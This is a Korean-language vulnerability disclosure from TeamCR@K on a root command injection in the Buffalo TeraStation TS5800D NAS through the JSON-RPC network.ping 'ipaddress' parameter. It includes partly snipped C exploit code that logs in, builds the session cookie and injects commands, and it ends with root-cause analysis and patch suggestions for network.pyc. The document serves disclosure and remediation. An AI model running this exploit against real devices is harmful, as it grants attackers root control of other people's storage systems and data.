Buffalo TeraStation TS5800D Command Injection Vulnerability
TeamCR@K
개요
Buffalo는 일본의 솔루션 개발업체이며, 리눅스 시스템을 개량하여 다양한 스토리지 솔루션을 판매하고 있는 회사입니다.
해당 Buffalo에서 판매하고 있는 스토리지 솔루션 중 NAS 장비인 TeraStation 기종에서 악의적인 명령을 수행 할 수 있는 취약점이 발견되었습니다.
상세설명
발견된 취약점은 관리자 로그인 상태에서 특정 메뉴를 통해 접근할 때 발생하는 것으로써, 외부의 악의적인 공격자로 인해 공격당할 위험은 존재하지 않습니다.
테스트 된 버전은 Buffalo TeraStation TS5800D 기종이며, 해당 취약점으로 공개되지 않은 시스템 관리자(root) 권한을 획득할 수 있습니다.
[그림 1] 정상적으로 동작하는 네트워크 기능 메뉴
취약한 메뉴는 ping 명령을 수행한 결과를 그대로 출력 창에 출력하는 형태로 해당 메뉴 인자를 조작하여 시스템 명령어를 수행할 수 있습니다.
[그림 2] 메뉴 수행 조작을 통해 최상위 디렉터리 구조를 출력하는 화면
[그림 3] 웹 어플리케이션 실행 권한이 관리자인 root 권한으로 실행
웹 어플리케이션이 시스템 관리자 권한인 root 권한으로 수행되기 때문에 시스템 설정파일들을 변경하여 인증 없이 관리자 권한의 쉘을 획득 할 수 있습니다.
[그림 4] 인증없이 시스템 root 권한의 shell을 획득
다음은 본 취약점을 공격하도록 자동화 된 exploit을 만들어 수행한 화면입니다.
[그림 5] 취약점 exploit 실행 화면
다음은 위 exploit 코드의 일부입니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/socket.h>
#define PROT_NAME "jsonrpc"
#define PROT_VER "2.0"
#define BANNER \
" - Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit -\n\n"\
" Author: TeamCR@K in A3Security\n"\
" Date: 22/02/2013\n\n"
const char *crlf = "\x0D\x0A\x0D\x0A";
char cookie[1024] = "Cookie: lang=ko;";
>>-- snip --<<
printf(
"[*] Target: %s\n"
"[*] User ID: %s\n"
"[*] User Password: %s\n", target, id, pw);
printf("[+] Login to NAS server..... ");
if((sid = do_login(target, id, pw)) == NULL) {
goto failed;
}
printf(
"ok!\n"
"[*] Session ID: %s\n", sid);
snprintf(cookie + strlen(cookie), sizeof(cookie) - strlen(cookie),
" username=%s; sid=%s;", id, sid);
printf("[+] Injecting commands.\n");
>>-- snip --<<
int cmd_inject(const char *target, const char *cmd, const char *sid)
{
int i = 0, s = 0, n = 0, retry = 3, executed = -1, isdone = 0;
struct sockaddr_in addr;
char *ptr = NULL;
char postdata[4096];
char sendpkt[8192], recvpkt[1024];
unsigned char jobid[128];
// ***** Sending a command
snprintf(postdata, sizeof(postdata),
"{"
"\"%s\":\"%s\","
"\"method\":\"network.ping\","
"\"params\":{\"ipaddress\":\"%s%s\",\"sid\":\"%s\"},"
"\"id\":\"1361425584418\""
"}", PROT_NAME, PROT_VER, target, cmd, sid);
snprintf(sendpkt, sizeof(sendpkt),
HEADER, cookie, strlen(postdata), postdata);
if((s = socket_set(target, &addr, 80)) < 0) {
goto failed;
}
if(send(s, sendpkt, strlen(sendpkt), 0) < 0) {
printf("[!] send() error\n");
goto failed;
}
if(strip_header(s) != 200) {
printf("[!] Illegal HTTP header\n");
goto failed;
}
n = recv(s, recvpkt, sizeof(recvpkt) - 1, 0);
recvpkt[n] = '\0';
if((ptr = strstr(recvpkt, "jobid")) == NULL) {
printf("[!] Can't allocate job-id.\n");
goto failed;
}
close(s); s = 0;
ptr += 8;
n = 0;
while(*ptr != '}') {
jobid[n++] = *(unsigned char *)ptr;
ptr++;
}
jobid[n++] = '\0';
// ***** Check command result
snprintf(postdata, sizeof(postdata),
>>-- snip --<<
본 취약점은 ping 명령을 수행하는 과정에서 특수문자를 필터링 하지 않아 발생하는 문제입니다.
해당 모듈은 /usr/local/lib/nasapi/modules/network.pyc 파일로 존재하며, 컴파일 된 파이썬 코드로 만들어져 있습니다.
[그림 6] network.pyc 모듈의 취약점 발생 루틴
본 취약점과 관련하여 외부의 악의적인 공격을 위협수준으로 평가하지 않고 최근 많이 행해지고 있는 스마트폰 Rooting/JB 와 같은 관점으로 접근했습니다.
만약 본 취약점을 패치하고 싶다면 다음과 같은 방법이 있을 수 있습니다.
1. Compile 된 바이너리 파일이므로, 문제가 되는 부분을 무력화 시키면서 Padding과 같은 작업을 가미합니다.
2. 포멧스트링 "%s"에 대해 악의적인 문자열로 조작하지 못하도록 "%c" 내지는 "%d"와 같은 출력포멧으로 변경합니다.
다음을 보면 취약점이 존재하는 본래의 모듈과 패치한 모듈을 비교 분석해 볼 수 있습니다.
[그림 7] network.pyc 모듈의 패치 전과 후
위와 같이 패치를 적용하고 난 후, NASAPI service를 재 시작하면 취약점 패치가 곧바로 적용됩니다.
[그림 8] network.pyc 모듈의 패치 완료